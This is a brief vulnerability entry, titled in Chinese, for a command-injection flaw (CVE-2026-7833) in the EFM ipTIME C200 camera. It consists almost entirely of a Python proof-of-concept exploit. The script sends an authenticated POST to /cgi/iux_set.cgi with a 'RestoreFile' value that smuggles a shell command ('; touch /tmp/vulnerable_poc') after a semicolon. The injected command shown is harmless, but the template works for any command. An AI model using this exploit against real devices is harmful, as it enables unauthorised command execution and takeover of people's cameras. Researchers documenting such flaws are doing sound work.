CVE-2026-7833 EFM ipTIME C200 命令注入漏洞

import requests # Target URL of the vulnerable device target_ip = "192.168.0.1" url = f"http://{target_ip}/cgi/iux_set.cgi" # Malicious payload to inject command (e.g., creating a file) # Note: PR:H implies authentication might be required. # Assuming the attacker has a valid session cookie. payload = "; touch /tmp/vulnerable_poc" data = { "RestoreFile": payload } headers = { "Cookie": "session_id=valid_admin_session" # Placeholder for authenticated session } try: response = requests.post(url, data=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check if command executed.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")